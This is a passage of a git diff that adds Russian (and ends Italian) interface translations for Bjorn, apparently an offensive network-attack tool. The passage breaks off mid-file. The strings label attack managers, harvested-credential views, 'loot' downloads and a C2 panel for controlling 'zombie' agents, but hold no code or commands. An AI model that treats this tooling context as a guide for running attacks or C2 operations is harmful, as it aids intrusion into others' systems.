"Scan manuale avviato", + "console.scanFailed": "Scan manuale fallito", + "console.attackStarted": "Attacco manuale avviato", + "console.attackFailed": "Attacco manuale fallito", + "console.failedToggleMode": "Cambio modalità fallito", + "console.reconnectAttempt": "Riconnessione (tentativo {{count}})...", + "quick.close": "Chiudi pannello", + "quick.connectingTo": "Connessione a {{ssid}}...", + "quick.connectedTo": "Connesso a {{ssid}}", + "quick.connectionFailed": "Connessione fallita", + "quick.loadKnownFailed": "Impossibile caricare le reti note", + "quick.priorityUpdated": "Priorità aggiornata", + "quick.priorityUpdateFailed": "Aggiornamento priorità fallito", + "quick.networkRemoved": "Rete rimossa", + "quick.importingPotfiles": "Importazione potfile...", + "quick.importedCount": "{{count}} credenziali importate", + "quick.btScanFailed": "Scan Bluetooth fallito", + "quick.btActioning": "{{action}} di {{name}}...", + "quick.btActionDone": "{{name}} {{action}} completato", + "quick.btActionFailed": "{{action}} fallito", + "quick.btForgotten": "{{name}} dimenticato", + "sidebar.close": "Chiudi barra laterale", + "api.aborted": "Abortito", + "api.timeout": "La richiesta è scaduta", + "api.failed": "La richiesta è fallita", + "router.notFound": "Pagina non trovata : {{path}}", + "router.errorLoading": "Errore nel caricamento della pagina : {{message}}" +} \ No newline at end of file diff --git a/web/i18n/ru.json b/web/i18n/ru.json new file mode 100644 index 0000000..8622f28 --- /dev/null +++ b/web/i18n/ru.json @@ -0,0 +1,781 @@ +{ + "nav.dashboard": "Панель управления", + "nav.bjorn": "Bjorn", + "nav.netkb": "База сети", + "nav.network": "Сеть", + "nav.credentials": "Пароли", + "nav.vulnerabilities": "Уязвимости", + "nav.attacks": "Атака", + "nav.scheduler": "Планировщик", + "nav.database": "База данных", + "nav.files": "Файлы", + "nav.loot": "Добыча", + "nav.actions": "Действия", + "nav.actionsStudio": "Студия действий", + "nav.backup": "Бэкап и Обн.", + "nav.webEnum": "Веб-энум", + "nav.zombieland": "Зомбиленд", + "nav.settings": "Настройки", + "nav.shortcuts": "Горячие клавиши", + "nav.pages": "Страницы", + "status.initializing": "Инициализация...", + "status.online": "В сети", + "status.offline": "Не в сети", + "console.title": "Консоль", + "console.clear": "Очистить", + "console.sseOn": "SSE Вкл", + "console.sseOff": "SSE Выкл", + "console.newLogs": "{{count}} новых логов", + "settings.theme": "Тема", + "settings.language": "Язык", + "settings.general": "Общие", + "settings.toggles": "Опции", + "settings.editValue": "Изменить значение", + "settings.addValues": "Добавить значения (через запятую)...", + "settings.setValue": "Установить значение...", + "settings.errorLoading": "Ошибка загрузки конфигурации", + "settings.configSaved": "Конфигурация сохранена", + "settings.errorSaving": "Ошибка сохранения конфигурации", + "settings.defaultsRestored": "Настройки по умолчанию восстановлены", + "settings.errorRestoring": "Ошибка восстановления настроек по умолчанию", + "theme.group.colors": "Цвета", + "theme.group.surfaces": "Поверхности", + "theme.group.layout": "Макет", + "theme.token.bg": "Фон", + "theme.token.ink": "Цвет текста", + "theme.token.accent1": "Акцент 1 (Кислотный)", + "theme.token.accent2": "Акцент 2 (Циан)", + "theme.token.danger": "Опасно", + "theme.token.warning": "Предупреждение", + "theme.token.ok": "Успех", + "theme.token.panel": "Панель", + "theme.token.panel2": "Панель Альт", + "theme.token.ctrlPanel": "Панель управления", + "theme.token.border": "Рамка", + "theme.token.radius": "Радиус рамки", + "theme.advanced": "Продвинутый CSS", + "theme.applyRaw": "Применить", + "theme.reset": "Сбросить", + "dash.title": "Панель управления", + "dash.battery": "Батарея", + "dash.internet": "Интернет", + "dash.cpu": "ЦП", + "dash.ram": "ОЗУ", + "dash.disk": "Диск", + "dash.temp": "Темп", + "dash.uptime": "Аптайм", + "dash.hostsAlive": "Активные хосты", + "dash.totalHosts": "Всего хостов", + "dash.openPorts": "Открытые порты", + "dash.credentials": "Пароли", + "dash.vulnerabilities": "Уязвимости", + "dash.actions": "Действия", + "dash.connected": "Подключено", + "dash.disconnected": "Отключено", + "dash.charging": "Зарядка", + "dash.discharging": "Разрядка", + "dash.full": "Заряжен", + "dash.connectivity": "Связь", + "dash.liveOps": "Операции в реальном времени", + "dash.tapRefresh": "Нажмите для обновления", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Режим", + "dash.gps": "GPS", + "dash.age": "Возраст Bjorn", + "dash.plugged": "Подключен", + "dash.noBattery": "Нет батареи", + "dash.sinceScan": "с последнего сканирования", + "dash.wifiKnown": "Известные Wi-Fi", + "dash.dataFiles": "Собранные данные / файлы", + "dash.fileDescriptors": "Дескрипторы файлов", + "dash.attackScripts": "Скрипты атаки", + "dash.system": "Система", + "dash.zombies": "Зомби", + "netkb.title": "База знаний о сети", + "netkb.showOffline": "Показать офлайн", + "netkb.gridView": "Сетка", + "netkb.listView": "Список", + "netkb.hostname": "Имя хоста", + "netkb.ip": "IP-адрес", + "netkb.mac": "MAC-адрес", + "netkb.vendor": "Производитель", + "netkb.ports": "Порты", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Был в сети", + "netkb.firstSeen": "Первый раз", + "netkb.online": "В сети", + "netkb.offline": "Не в сети", + "netkb.openPorts": "Открытые порты", + "netkb.noHosts": "Хосты не найдены", + "network.title": "Визуализация сети", + "network.tableView": "Таблица", + "network.mapView": "Карта", + "network.hostname": "Имя хоста", + "network.ip": "IP-адрес", + "network.mac": "MAC", + "network.ports": "Порты", + "network.status": "Статус", + "network.searchPlaceholder": "Поиск хостов...", + "network.noData": "Нет данных о сети", + "creds.title": "Пароли", + "creds.total": "Всего", + "creds.unique": "Уникальные", + "creds.types": "Типы", + "creds.username": "Имя пользователя", + "creds.password": "Пароль", + "creds.service": "Сервис", + "creds.host": "Хост", + "creds.port": "Порт", + "creds.type": "Тип", + "creds.timestamp": "Метка времени", + "creds.showPassword": "Показать пароль", + "creds.hidePassword": "Скрыть пароль", + "creds.copyPassword": "Копировать", + "creds.exportAll": "Экспортировать все", + "creds.noCredentials": "Пароли не найдены", + "vulns.title": "Таблица уязвимостей", + "vulns.total": "Всего", + "vulns.critical": "Критическая", + "vulns.high": "Высокая", + "vulns.medium": "Средняя", + "vulns.low": "Низкая", + "vulns.infoLevel": "Инфо", + "vulns.host": "Хост", + "vulns.port": "Порт", + "vulns.service": "Сервис", + "vulns.severity": "Критичность", + "vulns.description": "Описание", + "vulns.cve": "CVE", + "vulns.scanDate": "Дата сканирования", + "vulns.details": "Детали", + "vulns.noVulns": "Уязвимости не найдены", + "vulns.byHost": "По хосту", + "vulns.bySeverity": "По критичности", + "vulns.byService": "По сервису", + "attacks.title": "Менеджер атак", + "attacks.running": "Запущено", + "attacks.completed": "Завершено", + "attacks.failed": "Ошибка", + "attacks.queued": "В очереди", + "attacks.start": "Старт", + "attacks.stop": "Стоп", + "attacks.restart": "Рестарт", + "attacks.status": "Статус", + "attacks.target": "Цель", + "attacks.action": "Действие", + "attacks.duration": "Длительность", + "attacks.progress": "Прогресс", + "attacks.noAttacks": "Нет запущенных атак", + "sched.title": "Планировщик действий", + "sched.pending": "Ожидание", + "sched.running": "Запущено", + "sched.done": "Готово", + "sched.failed": "Ошибка", + "sched.all": "Все", + "sched.searchPlaceholder": "Поиск задач...", + "sched.noTasks": "Задачи не найдены", + "sched.stats": "{{running}} запущено / {{pending}} ожидает / {{done}} готово", + "db.title": "Менеджер БД", + "db.tables": "Таблицы", + "db.rows": "Строки", + "db.columns": "Колонки", + "db.search": "Поиск таблиц...", + "db.searchRows": "Поиск строк...", + "db.export": "Экспорт", + "db.import": "Импорт", + "db.addRow": "Добавить строку", + "db.deleteRow": "Удалить строку", + "db.deleteSelected": "Удалить выбранное", + "db.saveChanges": "Сохранить", + "db.discardChanges": "Отмена", + "db.confirmDelete": "Подтвердить удаление?", + "db.noTables": "Таблицы не найдены", + "db.noData": "Нет данных в этой таблице", + "db.hide": "Скрыть", + "db.showSidebar": "Показать панель", + "files.title": "Проводник", + "files.gridView": "Сетка", + "files.listView": "Список", + "files.size": "Размер", + "files.modified": "Изменен", + "files.name": "Имя", + "files.type": "Тип", + "files.download": "Скачать", + "files.preview": "Предпросмотр", + "files.noFiles": "Файлы не найдены", + "files.parentDir": "Родительская директория", + "files.searchPlaceholder": "Поиск файлов...", + "loot.title": "Добыча", + "loot.directories": "Директории", + "loot.totalFiles": "Всего файлов", + "loot.totalSize": "Общий размер", + "loot.download": "Скачать", + "loot.downloadAll": "Скачать все", + "loot.noLoot": "Добыча не найдена", + "loot.explore": "Исследовать", + "actions.title": "Менеджер действий", + "actions.available": "Доступно", + "actions.enabled": "Включено", + "actions.disabled": "Выключено", + "actions.category": "Категория", + "actions.enableAll": "Включить все", + "actions.disableAll": "Выключить все", + "actions.import": "Импорт", + "actions.export": "Экспорт", + "actions.noActions": "Действия не найдены", + "actions.description": "Описание", + "actions.menu.restartService": "Перезапустить службу Bjorn", + "actions.menu.deleteActionStatus": "Удалить все статусы действий", + "actions.menu.clearOutput": "Очистить папку Output", + "actions.menu.clearLogs": "Очистить логи", + "actions.menu.reloadImages": "Перезагрузить изображения (экспериментально)", + "actions.menu.reloadFonts": "Перезагрузить шрифты", + "actions.menu.reloadActionsJson": "Перезагрузить JSON действий", + "actions.menu.initializeCsv": "Инициализировать CSV файлы", + "actions.menu.clearLivestatus": "Удалить файл Livestatus", + "actions.menu.refreshActionsFile": "Обновить файл действий", + "actions.menu.clearNetkb": "Очистить базу знаний сети", + "actions.menu.clearSharedConfig": "Удалить JSON общей конфигурации", + "actions.menu.eraseMemories": "Стереть память Bjorn", + "actions.menu.reboot": "Перезагрузить систему", + "actions.menu.shutdown": "Выключить систему", + "actions.tip.restartService": "Перезапускает службу Bjorn для обновления ее состояния.", + "actions.tip.deleteActionStatus": "Удаляет все статусы успеха и ошибок действий/атак в netkb.csv.", + "actions.tip.clearOutput": "Удаляет все файлы в папках вывода и подпапках.", + "actions.tip.clearLogs": "Удаляет все системные файлы логов.", + "actions.tip.reloadImages": "Перезагружает изображения, используемые системой.", + "actions.tip.reloadFonts": "Перезагружает шрифты приложения.", + "actions.tip.reloadActionsJson": "Перезагружает сгенерированный JSON файл действий.", + "actions.tip.initializeCsv": "Заново создает файлы CSV и JSON.", + "actions.tip.clearLivestatus": "Удаляет файл статуса в реальном времени.", + "actions.tip.refreshActionsFile": "Обновляет файл действий для включения новых действий.", + "actions.tip.clearNetkb": "Удаляет всю информацию, сохраненную в базе знаний сети.", + "actions.tip.clearSharedConfig": "Удаляет JSON файл общей конфигурации.", + "actions.tip.eraseMemories": "Полностью стирает память и настройки Bjorn.", + "actions.tip.reboot": "Перезагружает всю систему.", + "actions.tip.shutdown": "Полностью выключает систему.", + "actions.confirm.restartRecommended": "Рекомендуется перезапуск службы. Перезагрузить сейчас?", + "actions.confirm.restartService": "Перезапустить службу Bjorn?", + "actions.confirm.deleteActionStatus": "Удалить все сохраненные статусы действий?", + "actions.confirm.clearOutput": "Полностью очистить папку output?", + "actions.confirm.clearLogs": "Удалить все файлы логов?", + "actions.confirm.clearNetkb": "Очистить базу знаний сети? Это действие необратимо.", + "actions.confirm.clearLivestatus": "Удалить файл livestatus?", + "actions.confirm.refreshActionsFile": "Обновить файл действий?", + "actions.confirm.clearSharedConfig": "Удалить JSON общей конфигурации? Это действие необратимо.", + "actions.confirm.eraseMemories": "Стереть всю память и настройки Bjorn? Это действие необратимо.", + "actions.confirm.reboot": "Перезагрузить всю систему?", + "actions.confirm.shutdown": "Выключить систему?", + "actions.msg.restartingService": "Служба Bjorn перезапускается...", + "actions.msg.restartFailed": "Ошибка перезапуска службы", + "actions.msg.actionStatusDeleted": "Все статусы действий удалены.", + "actions.msg.outputCleared": "Папка output очищена.", + "actions.msg.logsCleared": "Логи очищены.", + "actions.msg.netkbCleared": "База знаний сети очищена.", + "actions.msg.livestatusDeleted": "Файл livestatus удален.", + "actions.msg.actionsFileRefreshed": "Файл действий обновлен.", + "actions.msg.sharedConfigDeleted": "JSON общей конфигурации удален.", + "actions.msg.memoriesErased": "Память Bjorn стерта.", + "actions.msg.rebooting": "Система перезагружается...", + "actions.msg.shuttingDown": "Система выключается...", + "actions.msg.csvInitialized": "CSV файлы инициализированы.", + "actions.msg.actionsJsonReloaded": "JSON действий перезагружен.", + "actions.msg.imagesReloaded": "Изображения перезагружены.", + "actions.msg.fontsReloaded": "Шрифты перезагружены.", + "actions.msg.unknownAction": "Неизвестное действие", + "actions.msg.actionFailed": "Действие не удалось", + "studio.title": "Студия действий", + "studio.palette": "Палитра", + "studio.canvas": "Холст", + "studio.inspector": "Инспектор", + "studio.actionsTab": "Действия", + "studio.hostsTab": "Хосты", + "studio.globalTab": "Глобально", + "studio.save": "Сохранить", + "studio.load": "Загрузить", + "studio.run": "Запустить", + "studio.clear": "Очистить", + "studio.addNode": "Добавить узел", + "studio.removeNode": "Удалить узел", + "studio.search": "Поиск действий...", + "backup.title": "Бэкап и Обн.", + "backup.backupRestore": "Бэкап / Восстановление", + "backup.update": "Обновление", + "backup.createBackup": "Создать бэкап", + "backup.restoreBackup": "Восстановить", + "backup.downloadBackup": "Скачать", + "backup.deleteBackup": "Удалить бэкап", + "backup.lastBackup": "Последний бэкап", + "backup.checkUpdates": "Проверить обн.", + "backup.installUpdate": "Установить обн.", + "backup.currentVersion": "Текущая версия", + "backup.latestVersion": "Последняя версия", + "backup.upToDate": "Обновлено", + "backup.updateAvailable": "Доступно обн.", + "backup.clearLogs": "Очистить логи", + "backup.noBackups": "Бэкапы не найдены", + "backup.restoring": "Восстановление...", + "backup.creating": "Создание бэкапа...", + "webenum.title": "Веб-энумерация", + "webenum.totalResults": "Всего результатов", + "webenum.uniqueHosts": "Уникальные хосты", + "webenum.successCount": "Успех (2xx)", + "webenum.errorCount": "Ошибки (4xx/5xx)", + "webenum.host": "Хост", + "webenum.ip": "IP", + "webenum.port": "Порт", + "webenum.directory": "Директория", + "webenum.status": "Статус", + "webenum.size": "Размер", + "webenum.scanDate": "Дата сканирования", + "webenum.link": "Ссылка", + "webenum.exportJson": "Экспорт JSON", + "webenum.exportCsv": "Экспорт CSV", + "webenum.noResults": "Результаты не найдены", + "webenum.details": "Детали результата", + "webenum.openUrl": "Открыть URL", + "webenum.copyUrl": "Копировать URL", + "webenum.showing": "Показ {{start}}-{{end}} из {{total}} результатов", + "webenum.itemsPerPage": "Элементов на странице", + "webenum.refreshData": "Обновить данные", + "webenum.responseTime": "Время ответа", + "webenum.contentType": "Тип контента", + "webenum.fullUrl": "Полный URL", + "zombie.title": "Зомбиленд C2C", + "zombie.agents": "Агенты", + "zombie.terminal": "Терминал", + "zombie.commands": "Команды", + "zombie.totalAgents": "Всего агентов", + "zombie.onlineAgents": "В сети", + "zombie.offlineAgents": "Офлайн", + "zombie.idleAgents": "Ожидают", + "zombie.sendCommand": "Отправить команду", + "zombie.broadcast": "Рассылка всем", + "zombie.selectAgent": "Выбрать агента", + "zombie.os": "ОС", + "zombie.lastSeen": "Был в сети", + "zombie.status": "Статус", + "zombie.noAgents": "Нет подключенных агентов", + "zombie.quickCommands": "Быстрые команды", + "zombie.files": "Файлы", + "quick.autoScan": "Авто-скан", + "quick.connectWifi": "Подключить WiFi", + "quick.knownNetworks": "Известные сети", + "quick.importPotfiles": "Импорт Potfiles", + "quick.subtitle": "WiFi и Bluetooth", + "quick.pair": "Сопряжение", + "quick.trust": "Доверять", + "quick.forgetDevice": "Забыть устройство", + "quick.forgetDevicePrompt": "Забыть {{name}}?", + "quick.forgetNetworkPrompt": "Вы уверены, что хотите забыть эту сеть?", + "bjorn.title": "Экран EPD Bjorn", + "bjorn.epdScreen": "Экран e-Paper", + "bjorn.refreshInterval": "Интервал обновления", + "bjorn.autoRefresh": "Авто-обновление", + "bjorn.manualRefresh": "Обновить сейчас", + "bjorn.seconds": "секунд", + "common.search": "Поиск", + "common.filter": "Фильтр", + "common.refresh": "Обновить", + "common.save": "Сохранить", + "common.cancel": "Отмена", + "common.delete": "Удалить", + "common.edit": "Изменить", + "common.close": "Закрыть", + "common.loading": "Загрузка...", + "common.noData": "Данные недоступны", + "common.error": "Ошибка", + "common.success": "Успех", + "common.confirm": "Подтвердить", + "common.yes": "Да", + "common.no": "Нет", + "common.export": "Экспорт", + "common.import": "Импорт", + "common.download": "Скачать", + "common.upload": "Загрузить", + "common.copy": "Копировать", + "common.start": "Старт", + "common.stop": "Стоп", + "common.restart": "Рестарт", + "common.status": "Статус", + "common.name": "Имя", + "common.value": "Значение", + "common.type": "Тип", + "common.host": "Хост", + "common.port": "Порт", + "common.target": "Цель", + "common.date": "Дата", + "common.time": "Время", + "common.size": "Размер", + "common.actions": "Действия", + "common.details": "Детали", + "common.back": "Назад", + "common.next": "Далее", + "common.previous": "Назад", + "common.first": "Первый", + "common.last": "Последний", + "common.all": "Все", + "common.none": "Ничего", + "common.showing": "Показ", + "common.of": "из", + "common.results": "результатов", + "common.items": "элементов", + "common.page": "Страница", + "common.perPage": "на страницу", + "common.sortBy": "Сортировать по", + "common.ascending": "По возрастанию", + "common.descending": "По убыванию", + "common.view": "Вид", + "common.table": "Таблица", + "common.grid": "Сетка", + "common.list": "Список", + "common.map": "Карта", + "common.enabled": "Включено", + "common.disabled": "Выключено", + "common.on": "Вкл", + "common.off": "Выкл", + "common.version": "Версия", + "common.hide": "Скрыть", + "common.show": "Показать", + "common.add": "Добавить", + "common.remove": "Удалить", + "common.clear": "Очистить", + "common.reset": "Сбросить", + "common.apply": "Применить", + "common.run": "Запуск", + "common.send": "Отправить", + "common.connect": "Подключить", + "common.disconnect": "Отключить", + "common.selectAll": "Выбрать все", + "common.deselectAll": "Снять всё", + "common.copied": "Скопировано!", + "common.notFound": "Не найдено", + "backup.checkUpdatesHint": "Нажмите «Проверить обн.», чтобы увидеть версии.", + "backup.checkingUpdates": "Проверка обновлений...", + "backup.confirmFreshStart": "Подтвердить чистый запуск?", + "backup.createdSuccessfully": "Бэкап успешно создан.", + "backup.defaultUpdated": "Бэкап по умолчанию обновлен.", + "backup.deleted": "Бэкап удален.", + "backup.descriptionPlaceholder": "Описание бэкапа...", + "backup.enterDescription": "Пожалуйста, введите описание бэкапа.", + "backup.failedCheckUpdates": "Ошибка при проверке обновлений", + "backup.failedCreate": "Ошибка при создании бэкапа", + "backup.failedDelete": "Ошибка при удалении бэкапа", + "backup.failedLoadBackups": "Ошибка при загрузке бэкапов", + "backup.failedSetDefault": "Ошибка при установке по умолчанию", + "backup.freshStart": "Чистый запуск", + "backup.freshStartFailed": "Ошибка при чистом запуске", + "backup.freshStartInitiated": "Чистый запуск инициирован.", + "backup.github": "github", + "backup.keepActions": "Сохранить папку actions", + "backup.keepConfig": "Сохранить папку config", + "backup.keepData": "Сохранить папку data", + "backup.keepResources": "Сохранить папку resources", + "backup.noBackupsCreateAbove": "Бэкапы не найдены. Создайте один выше.", + "backup.restoreCompleted": "Восстановление завершено.", + "backup.restoreOptions": "Опции восстановления", + "backup.restorePoint": "точка-восстановления", + "backup.selectKeepFolders": "Выберите папки, которые нужно оставить во время операции:", + "backup.setDefault": "Сделать по умолчанию", + "backup.unnamedBackup": "Бэкап без имени", + "backup.updateInitiated": "Обновление инициировано.", + "backup.updateOptions": "Опции обновления", + "common.confirmDiscardUnsaved": "Отменить несохраненные изменения?", + "common.confirmQuestion": "Подтвердить?", + "common.default": "по умолчанию", + "common.deleteFailed": "Ошибка удаления", + "common.deleted": "Удалено", + "common.description": "Описание", + "common.directory": "директория", + "common.duplicate": "Дублировать", + "common.exportJson": "Экспорт JSON", + "common.failed": "ошибка", + "common.file": "файл", + "common.importJson": "Импорт JSON", + "common.new": "Новый", + "common.noMatches": "Нет совпадений", + "common.options": "Опции", + "common.processingPleaseWait": "Обработка, пожалуйста, подождите...", + "common.refreshed": "Обновлено", + "common.rename": "Переименовать", + "common.saving": "Сохранение...", + "common.unknown": "неизвестно", + "common.unsavedChanges": "Несохраненные изменения", + "db.autoRefresh": "Авто-обновление", + "db.changesDiscarded": "Изменения отменены", + "db.changesSaved": "Изменения сохранены", + "db.confirmDrop": "УДАЛИТЬ таблицу «{{table}}»? Это действие необратимо!", + "db.confirmTruncate": "Очистить все строки в «{{table}}»?", + "db.dangerZone": "Опасная зона", + "db.deletingRowsCount": "Удаление {{count}} строк(и)...", + "db.dropFailed": "Ошибка удаления таблицы", + "db.droppedTable": "Таблица {{table}} удалена", + "db.dropping": "Удаление...", + "db.emptyTable": "Пустая таблица", + "db.errorLoadingData": "Ошибка при загрузке данных", + "db.failedLoadCatalog": "Ошибка при загрузке каталога", + "db.failedLoadTable": "Ошибка при загрузке таблицы", + "db.filterTables": "Фильтр таблиц...", + "db.insertFailed": "Ошибка вставки", + "db.insertingRow": "Вставка строки...", + "db.noRowsSelected": "Строки не выбраны", + "db.rowInserted": "Строка вставлена", + "db.rowsDeleted": "Строки удалены", + "db.runningVacuum": "Выполнение VACUUM...", + "db.saveFailed": "Ошибка сохранения", + "db.selectTableFromSidebar": "Выберите таблицу на боковой панели", + "db.tableDropped": "Таблица удалена", + "db.tableTruncated": "Таблица очищена", + "db.truncateFailed": "Ошибка очистки", + "db.truncating": "Очистка...", + "db.vacuumComplete": "VACUUM завершен", + "db.vacuumDone": "VACUUM выполнен", + "db.vacuumFailed": "Ошибка VACUUM", + "files.confirmDelete": "Удалить {{label}} «{{name}}»?", + "files.downloadFile": "Скачать файл", + "files.duplicateFailed": "Ошибка дублирования", + "files.duplicated": "Дублировано", + "files.emptyDirectory": "Пустая директория", + "files.errorLoading": "Ошибка при загрузке файлов", + "files.failedLoadDir": "Ошибка при загрузке директории", + "files.filterPlaceholder": "Фильтр файлов...", + "files.itemsCount": "{{count}} элемент(ов)", + "files.newNamePrompt": "Новое имя:", + "files.noMatch": "Нет совпадающих файлов", + "files.openDirectory": "Открыть директорию", + "files.parent": ".. (родительская)", + "files.renameFailed": "Ошибка переименования", + "files.renamed": "Переименовано", + "files.root": "Корень", + "files.uploadComplete": "Загрузка завершена", + "files.uploadFailed": "Загрузка не удалась", + "files.uploadingCount": "Загрузка {{count}} файл(ов)...", + "studio.actionNotFound": "Действие не найдено", + "studio.classNameRequired": "Имя класса обязательно", + "studio.confirmDeleteAction": "Удалить действие «{{name}}»? Это действие необратимо.", + "studio.deletedName": "Удалено: {{name}}", + "studio.exportedFile": "Экспортировано: {{name}}", + "studio.filterActions": "Фильтр действий...", + "studio.importFailed": "Импорт не удался", + "studio.importedFile": "Импортировано: {{name}}", + "studio.loadFailed": "Загрузка не удалась", + "studio.loadedFromCacheName": "Загружено из кэша: {{name}}", + "studio.loadedName": "Загружено: {{name}}", + "studio.newActionCreated": "Новое действие создано", + "studio.noActionLoaded": "Действие не загружено", + "studio.saveFailedBackedUp": "Ошибка сохранения (создан локальный бэкап)", + "studio.savedName": "Сохранено: {{name}}", + "studio.setClassBeforeExport": "Установите класс перед экспортом", + "zombie.agentRemoved": "Агент {{name}} удален", + "zombie.agentsPurged": "{{count}} агент(ов) очищено", + "zombie.allAgents": "Все агенты", + "zombie.c2StartedOnPort": "C2-сервер запущен на порту {{port}}", + "zombie.c2Stopped": "C2-сервер остановлен", + "zombie.clearConsole": "Очистить консоль", + "zombie.clearLogs": "Очистить логи", + "zombie.commandBroadcasted": "Команда разослана всем", + "zombie.commandSentToAgents": "Команда отправлена {{count}} агент(ам)", + "zombie.confirmPurgeStale": "Очистить всех агентов, неактивных более 24 часов?", + "zombie.confirmRemoveAgent": "Удалить агента {{name}}?", + "zombie.confirmStopC2": "Остановить C2-сервер?", + "zombie.consoleCleared": "Консоль очищена", + "zombie.enterC2Port": "Введите порт C2:", + "zombie.enterCommand": "Введите команду...", + "zombie.failedPurgeStale": "Ошибка очистки неактивных агентов", + "zombie.failedRemoveAgent": "Ошибка удаления агента {{name}}", + "zombie.failedSendCommand": "Ошибка отправки команды", + "zombie.failedStartC2": "Ошибка запуска C2", + "zombie.failedStopC2": "Ошибка остановки C2", + "zombie.noAgentsConnected": "Нет подключенных агентов", + "zombie.noAgentsMatchSearch": "Нет агентов, соответствующих поиску", + "zombie.purgeStale": "Очистить неактивных", + "zombie.purgeStaleHint": "Очистить агентов, неактивных >24ч", + "zombie.removeAgent": "Удалить агента", + "zombie.startC2": "Запустить C2", + "zombie.stopC2": "Остановить C2", + "zombie.systemLogs": "Системные логи", + "zombieland.alive": "Жив", + "zombieland.c2Status": "Статус C2", + "zombieland.dead": "Мертв", + "zombieland.totalAgents": "Всего агентов", + "greeting": "Привет", + "start": "Старт", + "tick": "Тик", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "ОС", + "zombie.never": "Никогда", + "zombie.openInConsole": "Открыть в консоли", + "common.saved": "Сохранено", + "attacks.tabs.attacks": "Атаки", + "attacks.tabs.comments": "Комментарии", + "attacks.tabs.images": "Изображения", + "attacks.btn.addAttack": "Добавить атаку", + "attacks.btn.removeAttack": "Удалить атаку", + "attacks.btn.deleteAction": "Удалить действие", + "attacks.btn.restoreDefaultsBundle": "Восстановить настройки по умолчанию", + "attacks.btn.addSection": "Добавить раздел", + "attacks.btn.deleteSection": "Удалить раздел", + "attacks.btn.restoreDefault": "Восстановить по умолчанию", + "attacks.btn.createCharacter": "Создать персонажа", + "attacks.btn.deleteCharacter": "Удалить персонажа", + "attacks.section.characters": "Персонаж", + "attacks.section.statusImages": "Изображения статуса", + "attacks.section.staticImages": "Статичные изображения", + "attacks.section.webImages": "Веб-изображения", + "attacks.section.actionIcons": "Иконки действий", + "attacks.editor.selectAttack": "Выбрать атаку", + "attacks.empty.noAttacks": "Атаки не найдены.", + "attacks.empty.noComments": "Комментарии не найдены.", + "attacks.comments.placeholder": "Комментарии будут отображаться здесь...", + "attacks.images.enterEditMode": "Включить режим редактирования", + "attacks.images.exitEditMode": "Выйти из режима редактирования", + "attacks.images.sortName": "Сортировка: имя", + "attacks.images.sortDimensions": "Сортировка: размеры", + "attacks.images.search": "Поиск изображений...", + "attacks.images.rename": "Переименовать изображение", + "attacks.images.replace": "Заменить изображение", + "attacks.images.resizeSelected": "Изменить размер выбранного", + "attacks.images.addCharacters": "Добавить изображения персонажей", + "attacks.images.deleteSelected": "Удалить выбранное", + "attacks.images.addStatus": "Добавить изобр. статуса", + "attacks.images.addStatic": "Добавить статичное изобр.", + "attacks.images.addWeb": "Добавить веб-изобр.", + "attacks.images.addIcon": "Добавить иконку действия", + "attacks.errors.loadAttacks": "Ошибка загрузки атак.", + "attacks.errors.loadImages": "Ошибка загрузки изображений.", + "attacks.confirm.switchCharacter": "Переключиться на персонажа «{{name}}»?", + "attacks.confirm.removeAttack": "Удалить атаку «{{name}}»?", + "attacks.confirm.deleteAction": "Удалить действие «{{name}}»?", + "attacks.confirm.restoreAttack": "Восстановить «{{name}}» по умолчанию?", + "attacks.confirm.restoreDefaultsBundle": "Восстановить ВСЕ настройки по умолчанию (действия, изображения, комментарии)?", + "attacks.confirm.deleteCharacter": "Удалить персонажа «{{name}}»?", + "attacks.confirm.deleteSection": "Удалить раздел «{{name}}»?", + "attacks.confirm.restoreDefaultComments": "Восстановить комментарии по умолчанию?", + "attacks.confirm.deleteSelectedImages": "Удалить выбранные изображения?", + "attacks.prompt.newCharacterName": "Имя нового персонажа:", + "attacks.prompt.characterToDelete": "Персонаж для удаления:", + "attacks.prompt.newSectionName": "Имя нового раздела:", + "attacks.prompt.newImageName": "Новое имя:", + "attacks.prompt.resizeWidth": "Ширина изменения размера:", + "attacks.prompt.resizeHeight": "Высота изменения размера:", + "attacks.toast.characterSwitched": "Персонаж изменен", + "attacks.toast.attackImported": "Атака импортирована", + "attacks.toast.selectAttackFirst": "Сначала выберите атаку", + "attacks.toast.actionDeleted": "Действие удалено", + "attacks.toast.defaultsRestored": "Настройки по умолчанию восстановлены", + "attacks.toast.characterCreated": "Персонаж создан", + "attacks.toast.noDeletableCharacters": "Нет удаляемых персонажей", + "attacks.toast.characterDeleted": "Персонаж удален", + "attacks.toast.commentsRestored": "Комментарии восстановлены", + "attacks.toast.selectSectionFirst": "Сначала выберите раздел", + "attacks.toast.commentsSaved": "Комментарии сохранены", + "attacks.toast.selectExactlyOneImage": "Выберите ровно одно изображение", + "attacks.toast.selectAtLeastOneImage": "Выберите хотя бы одно изображение", + "attacks.toast.imagesResized": "Размеры изображений изменены", + "attacks.toast.characterImagesUploaded": "Изображения персонажей загружены", + "attacks.toast.selectStatusActionFirst": "Сначала выберите действие статуса", + "actions.toast.presetApplied": "Пресет применен", + "actions.toast.startingAction": "Запуск {{name}}...", + "actions.toast.actionStarted": "Действие запущено", + "actions.toast.stoppedByUser": "Остановлено пользователем", + "actions.toast.actionStopped": "Действие остановлено", + "actions.toast.stopFailed": "Остановка не удалась", + "actions.toast.failedToStop": "Не удалось остановить", + "actions.toast.consoleCleared": "Консоль очищена", + "actions.toast.noLogsToExport": "Нет логов для экспорта", + "actions.toast.logsExported": "Логи экспортированы", + "netkb.confirmRemoveAction": "Удалить действие «{{action}}» для IP «{{ip}}»?", + "netkb.actionRemoved": "Действие удалено", + "actions.running": "Запущено", + "attacks.btn.syncMissing": "Синхронизировать отсутствующие", + "attacks.images.gridDensity": "Плотность сетки", + "attacks.images.density": "Плотность", + "attacks.sync.defaultComment": "Добавить комментарий к этому действию", + "attacks.sync.none": "Нет атак для синхронизации.", + "attacks.sync.done": "Синхронизация завершена. Новые комментарии: {{comments}}, изобр. статуса: {{status}}, изобр. персонажей: {{characters}}.", + "attacks.sync.failed": "Ошибка синхронизации отсутствующих элементов", + "actions.args.free": "Свободные аргументы", + "actions.args.none": "Нет настраиваемых аргументов", + "actions.args.subtitle": "Сгенерировано автоматически из определений действий", + "actions.args.title": "Аргументы", + "actions.assign": "Назначить", + "actions.emptyPane": "Действие не выбрано", + "actions.logs.completed": "Готово", + 